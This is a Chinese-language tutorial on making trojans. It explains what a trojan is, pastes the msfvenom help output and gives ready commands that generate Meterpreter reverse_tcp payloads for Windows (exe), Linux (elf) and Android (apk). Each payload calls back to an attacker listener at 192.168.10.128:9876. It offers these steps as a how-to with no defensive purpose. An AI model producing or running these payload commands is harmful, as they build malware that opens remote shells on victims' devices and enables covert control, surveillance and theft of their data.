木马制作

什么是木马

木马病毒是计算机黑客用于远程控制计算机的程序，将控制程序寄生于被控制的计算机系统中，里应外合，对被感染木马病毒的计算机实施操作。一般的木马病毒程序主要是寻找计算机后门，伺机窃取被控计算机中的密码和重要文件等。可以对被控计算机实施监控、资料修改等非法操作。木马病毒具有很强的隐蔽性，可以根据黑客意图突然发起攻击

windows中常见木马的类型

常见于exe、msi格式

exe可执行程序打开即用

msi指windwos环境下的安装包需要安装

木马如何制作

用到工具

msfvenom

Error: No options

MsfVenom - a Metasploit standalone payload generator.

Also a replacement for msfpayload and msfencode.

Usage: /usr/bin/msfvenom [options] <var=val>

Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe

-o payload.exe

Options:

-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all

-p, --payload <payload> Payload to use (--list payloads to list, -list-options for arguments). Specify '-' or STDIN for custom

--list-options List --payload <value>'s standard, advanced and evasion options

-f, --format <format> Output format (use --list formats to list) -e, --encoder <encoder> The encoder to use (use --list encoders to list)

--service-name <value> The service name to use when generating a service binary --sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string --smallest Generate the smallest possible payload using all available encoders

--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)

--encrypt-key <value> A key to be used for --encrypt

--encrypt-iv <value> An initialization vector for --encrypt

-a, --arch <arch> The architecture to use for --payload and -

-encoders (use --list archs to list)

--platform <platform> The platform for --payload (use --list platforms to list)

-o, --out <path> Save the payload to a file

-b, --bad-chars <list> Characters to avoid example: '\x00\xff' -n, --nopsled <length> Prepend a nopsled of [length] size on to the payload

--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)

-s, --space <length> The maximum size of the resulting payload

--encoder-space <length> The maximum size of the encoded payload

(defaults to the -s value)

-i, --iterations <count> The number of times to encode the payload -c, --add-code <path> Specify an additional win32 shellcode file to include

-x, --template <path> Specify a custom executable file to use as a template

-k, --keep Preserve the --template behaviour and inject the payload as a new thread

-v, --var-name <value> Specify a custom variable name to use for certain output formats

-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable) -h, --help Show this message

例：

-p windows/meterpreter/reverse_tcp#payload攻击负载，

LHOST=#填写kali的ip，用于木马的回连，即服务端ip

LPORT=#监听端口，这个端口需要未被占用

-f #生成文件的后缀 -o #生成文件的文件名

msfvenom -p

通过命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=9876 -f exe -o 7.exe

生成windows木马

linux

生成木马将类型改为elf即可，运行程序前需要先给程序可执行权限其余操作方式一致安卓 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=9876 -f elf -o kali.elf chmod +x xxx.elf

apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=9876 > and.apk